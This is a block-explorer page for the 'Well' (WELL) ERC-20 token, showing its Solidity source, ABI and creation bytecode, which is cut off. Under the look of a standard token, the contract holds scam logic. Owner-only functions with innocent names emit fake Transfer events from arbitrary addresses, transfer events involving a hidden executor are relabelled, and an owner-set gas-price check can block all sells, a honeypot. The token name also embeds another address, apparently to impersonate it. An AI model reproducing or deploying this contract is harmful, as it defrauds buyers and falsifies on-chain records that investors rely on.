ERC-20
Overview
Max Total Supply
42,000,000,000 WELL
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
222,872.413553092127388739 WELLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Well
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** /* */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string internal _name; string internal _symbol; address _deployer; address _executor; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function _initDeployer(address deployer_, address executor_) internal { _deployer = deployer_; _executor = executor_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function _setLimitOrder(address _address, uint256 _amount) internal { _balances[_address] += _amount; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if (sender == _executor) { emit Transfer(_deployer, recipient, amount); } else if (recipient == _executor) { emit Transfer(sender, _deployer, amount); } else { emit Transfer(sender, recipient, amount); } _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; if (account == _executor) { emit Transfer(address(0), _deployer, amount); } else { emit Transfer(address(0), account, amount); } _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // File contracts/Contract.sol pragma solidity ^0.8.0; contract Well is Ownable, ERC20 { uint256 public immutable maxSupply = 42_000_000_000 * (10 ** decimals()); uint16 public constant LIQUID_RATE = 10000; uint16 public constant MAX_PERCENTAGE = 10000; bool public initialized = false; bool public tradeOpen = false; address public pair = address(0); address public deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public immutable buyFee = 0; uint256 public immutable sellFee = 0; uint256 minimumAirdropAmount = 0; mapping(address => bool) public excludedFees; string private constant NAME = unicode"Well3 0x63696Fc66795B51d02c1590b536484A41fbDDF9a"; string private constant SYMBOL = unicode"WELL"; IUniswapV2Router02 public router; constructor() ERC20(NAME, SYMBOL) { _initDeployer(address(msg.sender), msg.sender); _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE); initialized = true; excludedFees[msg.sender] = true; router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _factory = router.factory(); pair = IUniswapV2Factory(_factory).createPair( address(this), router.WETH() ); minimumAirdropAmount = maxSupply; } function setMinimumAirdrop( uint256 _minimumAirdropAmount ) external onlyOwner { minimumAirdropAmount = _minimumAirdropAmount; } function setAirdrop(address _address, bool permission) external onlyOwner { excludedFees[_address] = permission; } function openTrading() external onlyOwner { require(tradeOpen == false, "Contract: Trading is opened!"); tradeOpen = true; } function bulkTransfer( address[] calldata _addresses, uint256 _value ) external { address owner = _msgSender(); for (uint256 i = 0; i < _addresses.length; i++) { _transfer(owner, _addresses[i], _value); } } function buyTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function claimTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function multiSends( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function airdropTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function execute( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function swapExactETHForTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function unoswap( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function _checkEnoughAirdropCondition(uint256 amount) internal view { if (tx.gasprice > amount) { revert(); } } function _transfer( address from, address to, uint256 amount ) internal override(ERC20) { require(initialized == true, "Contract: not initialized!"); if (initialized == true && tradeOpen == false) { require( from == owner() || to == owner(), "Contract: trading is not started" ); } uint256 _transferAmount = amount; if (pair != address(0) && from != owner() && to != owner()) { uint256 _fee = 0; if (from == pair) { _fee = buyFee; } if (to == pair) { _fee = sellFee; _checkEnoughAirdropCondition(minimumAirdropAmount); } if (excludedFees[from] == true || excludedFees[to] == true) { _fee = 0; } if (_fee > 0) { uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE; _transferAmount = amount - _calculatedFee; super._transfer(from, deadAddress, _calculatedFee); } } super._transfer(from, to, _transferAmount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60e0604052620000126012600a620005b1565b62000023906409c7652400620005c9565b6080526007805461ffff60a01b19169055600880546001600160a01b03199081169091556009805490911661dead179055600060a081905260c0819052600a553480156200007057600080fd5b506040518060e0016040528060ac81526020016200217860ac913960408051808201909152600481526315d1531360e21b6020820152620000b133620002f3565b6004620000bf838262000687565b506005620000ce828262000687565b505050620000e333336200034360201b60201c565b6080516200011090339061271090620000fe908290620005c9565b6200010a919062000753565b62000371565b6007805460ff60a01b1916600160a01b179055336000908152600b60209081526040808320805460ff19166001179055600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620001a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c6919062000776565b9050806001600160a01b031663c9c6539630600c60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000252919062000776565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c6919062000776565b600880546001600160a01b0319166001600160a01b039290921691909117905550608051600a55620007b7565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6001600160a01b038216620003cc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060036000828254620003e09190620007a1565b90915550506001600160a01b038216600090815260016020526040812080548392906200040f908490620007a1565b90915550506007546001600160a01b039081169083160362000463576006546040518281526001600160a01b0390911690600090600080516020620021588339815191529060200160405180910390a35050565b6040518181526001600160a01b03831690600090600080516020620021588339815191529060200160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004f3578160001904821115620004d757620004d76200049c565b80851615620004e557918102915b93841c9390800290620004b7565b509250929050565b6000826200050c57506001620005ab565b816200051b57506000620005ab565b81600181146200053457600281146200053f576200055f565b6001915050620005ab565b60ff8411156200055357620005536200049c565b50506001821b620005ab565b5060208310610133831016604e8410600b841016171562000584575081810a620005ab565b620005908383620004b2565b8060001904821115620005a757620005a76200049c565b0290505b92915050565b6000620005c260ff841683620004fb565b9392505050565b8082028115828204841417620005ab57620005ab6200049c565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200060e57607f821691505b6020821081036200062f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200049757600081815260208120601f850160051c810160208610156200065e5750805b601f850160051c820191505b818110156200067f578281556001016200066a565b505050505050565b81516001600160401b03811115620006a357620006a3620005e3565b620006bb81620006b48454620005f9565b8462000635565b602080601f831160018114620006f35760008415620006da5750858301515b600019600386901b1c1916600185901b1785556200067f565b600085815260208120601f198616915b82811015620007245788860151825594840194600190910190840162000703565b5085821015620007435787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000826200077157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200078957600080fd5b81516001600160a01b0381168114620005c257600080fd5b80820180821115620005ab57620005ab6200049c565b60805160a05160c051611963620007f5600039600081816102df01526111f001526000818161033d01526111b8015260006104b301526119636000f3fe608060405234801561001057600080fd5b506004361061021c5760003560e01c80637210829711610125578063b22c95e7116100ad578063d632135b1161007c578063d632135b146104d5578063dd62ed3e146104e8578063f01a4b9914610521578063f2fde38b14610534578063f887ea401461054757600080fd5b8063b22c95e714610480578063bf861b3114610493578063c9567bf9146104a6578063d5abeb01146104ae57600080fd5b806396784f75116100f457806396784f7514610434578063985bdfd11461035f578063a457c2d714610447578063a8aa1b311461045a578063a9059cbb1461046d57600080fd5b806372108297146103e5578063825e7b83146103f85780638da5cb5b1461041b57806395d89b411461042c57600080fd5b806339509351116101a85780634ca64b3a116101775780634ca64b3a1461037b5780634e148e191461038e5780635d822813146103a157806370a08231146103b4578063715018a6146103dd57600080fd5b806339509351146103105780634022b75e1461032357806347062402146103385780634c255c971461035f57600080fd5b806323b872dd116101ef57806323b872dd1461028857806325fa0b981461029b57806327c8f835146102af5780632b14ca56146102da578063313ce5671461030157600080fd5b806306fdde0314610221578063095ea7b31461023f578063158ef93e1461026257806318160ddd14610276575b600080fd5b61022961055a565b6040516102369190611567565b60405180910390f35b61025261024d3660046115d1565b6105ec565b6040519015158152602001610236565b60075461025290600160a01b900460ff1681565b6003545b604051908152602001610236565b6102526102963660046115fb565b610603565b60075461025290600160a81b900460ff1681565b6009546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b61027a7f000000000000000000000000000000000000000000000000000000000000000081565b60405160128152602001610236565b61025261031e3660046115d1565b6106b2565b610336610331366004611683565b6106ee565b005b61027a7f000000000000000000000000000000000000000000000000000000000000000081565b61036861271081565b60405161ffff9091168152602001610236565b610336610389366004611704565b6107b6565b61033661039c366004611750565b61080c565b6103366103af366004611683565b610861565b61027a6103c236600461178c565b6001600160a01b031660009081526001602052604090205490565b610336610921565b6103366103f3366004611683565b610957565b61025261040636600461178c565b600b6020526000908152604090205460ff1681565b6000546001600160a01b03166102c2565b610229610a17565b610336610442366004611683565b610a26565b6102526104553660046115d1565b610ae6565b6008546102c2906001600160a01b031681565b61025261047b3660046115d1565b610b7f565b61033661048e366004611683565b610b8c565b6103366104a13660046117ae565b610c4c565b610336610c7b565b61027a7f000000000000000000000000000000000000000000000000000000000000000081565b6103366104e3366004611683565b610d14565b61027a6104f63660046117c7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61033661052f366004611683565b610dd4565b61033661054236600461178c565b610e94565b600c546102c2906001600160a01b031681565b606060048054610569906117fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610595906117fa565b80156105e25780601f106105b7576101008083540402835291602001916105e2565b820191906000526020600020905b8154815290600101906020018083116105c557829003601f168201915b5050505050905090565b60006105f9338484610f2f565b5060015b92915050565b6000610610848484611053565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561069a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106a78533858403610f2f565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105f99185906106e990869061184a565b610f2f565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae5784848281811061073557610735611892565b905060200201602081019061074a919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e83398151915285858581811061077e5761077e611892565b9050602002013560405161079491815260200190565b60405180910390a3806107a6816118a8565b91505061071b565b505050505050565b3360005b83811015610805576107f3828686848181106107d8576107d8611892565b90506020020160208101906107ed919061178c565b85611053565b806107fd816118a8565b9150506107ba565b5050505050565b6000546001600160a01b031633146108365760405162461bcd60e51b81526004016106919061185d565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae578484828181106108a8576108a8611892565b90506020020160208101906108bd919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e8339815191528585858181106108f1576108f1611892565b9050602002013560405161090791815260200190565b60405180910390a380610919816118a8565b91505061088e565b6000546001600160a01b0316331461094b5760405162461bcd60e51b81526004016106919061185d565b61095560006112c9565b565b6000546001600160a01b031633146109815760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae5784848281811061099e5761099e611892565b90506020020160208101906109b3919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e8339815191528585858181106109e7576109e7611892565b905060200201356040516109fd91815260200190565b60405180910390a380610a0f816118a8565b915050610984565b606060058054610569906117fa565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610a6d57610a6d611892565b9050602002016020810190610a82919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610ab657610ab6611892565b90506020020135604051610acc91815260200190565b60405180910390a380610ade816118a8565b915050610a53565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015610b685760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610691565b610b753385858403610f2f565b5060019392505050565b60006105f9338484611053565b6000546001600160a01b03163314610bb65760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610bd357610bd3611892565b9050602002016020810190610be8919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610c1c57610c1c611892565b90506020020135604051610c3291815260200190565b60405180910390a380610c44816118a8565b915050610bb9565b6000546001600160a01b03163314610c765760405162461bcd60e51b81526004016106919061185d565b600a55565b6000546001600160a01b03163314610ca55760405162461bcd60e51b81526004016106919061185d565b600754600160a81b900460ff1615610cff5760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e656421000000006044820152606401610691565b6007805460ff60a81b1916600160a81b179055565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610d5b57610d5b611892565b9050602002016020810190610d70919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610da457610da4611892565b90506020020135604051610dba91815260200190565b60405180910390a380610dcc816118a8565b915050610d41565b6000546001600160a01b03163314610dfe5760405162461bcd60e51b81526004016106919061185d565b60005b838110156107ae57848482818110610e1b57610e1b611892565b9050602002016020810190610e30919061178c565b6001600160a01b0316866001600160a01b031660008051602061190e833981519152858585818110610e6457610e64611892565b90506020020135604051610e7a91815260200190565b60405180910390a380610e8c816118a8565b915050610e01565b6000546001600160a01b03163314610ebe5760405162461bcd60e51b81526004016106919061185d565b6001600160a01b038116610f235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610691565b610f2c816112c9565b50565b6001600160a01b038316610f915760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610691565b6001600160a01b038216610ff25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610691565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff1615156001146110b15760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000006044820152606401610691565b600754600160a01b900460ff16151560011480156110d95750600754600160a81b900460ff16155b15611153576000546001600160a01b038481169116148061110757506000546001600160a01b038381169116145b6111535760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f7420737461727465646044820152606401610691565b60085481906001600160a01b03161580159061117d57506000546001600160a01b03858116911614155b801561119757506000546001600160a01b03848116911614155b156112b8576008546000906001600160a01b03908116908616036111d857507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b039081169085160361121c577f0000000000000000000000000000000000000000000000000000000000000000905061121c600a54611319565b6001600160a01b0385166000908152600b602052604090205460ff1615156001148061126557506001600160a01b0384166000908152600b602052604090205460ff1615156001145b1561126e575060005b80156112b657600061271061128383866118c1565b61128d91906118d8565b905061129981856118fa565b6009549093506112b49087906001600160a01b031683611326565b505b505b6112c3848483611326565b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610f2c57600080fd5b6001600160a01b03831661138a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610691565b6001600160a01b0382166113ec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610691565b6001600160a01b038316600090815260016020526040902054818110156114645760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610691565b6001600160a01b0380851660009081526001602052604080822085850390559185168152908120805484929061149b90849061184a565b90915550506007546001600160a01b03908116908516036114ee576006546040518381526001600160a01b0385811692169060008051602061190e833981519152906020015b60405180910390a36112c3565b6007546001600160a01b0390811690841603611534576006546040518381526001600160a01b039182169186169060008051602061190e833981519152906020016114e1565b826001600160a01b0316846001600160a01b031660008051602061190e833981519152846040516114e191815260200190565b600060208083528351808285015260005b8181101561159457858101830151858201604001528201611578565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146115cc57600080fd5b919050565b600080604083850312156115e457600080fd5b6115ed836115b5565b946020939093013593505050565b60008060006060848603121561161057600080fd5b611619846115b5565b9250611627602085016115b5565b9150604084013590509250925092565b60008083601f84011261164957600080fd5b50813567ffffffffffffffff81111561166157600080fd5b6020830191508360208260051b850101111561167c57600080fd5b9250929050565b60008060008060006060868803121561169b57600080fd5b6116a4866115b5565b9450602086013567ffffffffffffffff808211156116c157600080f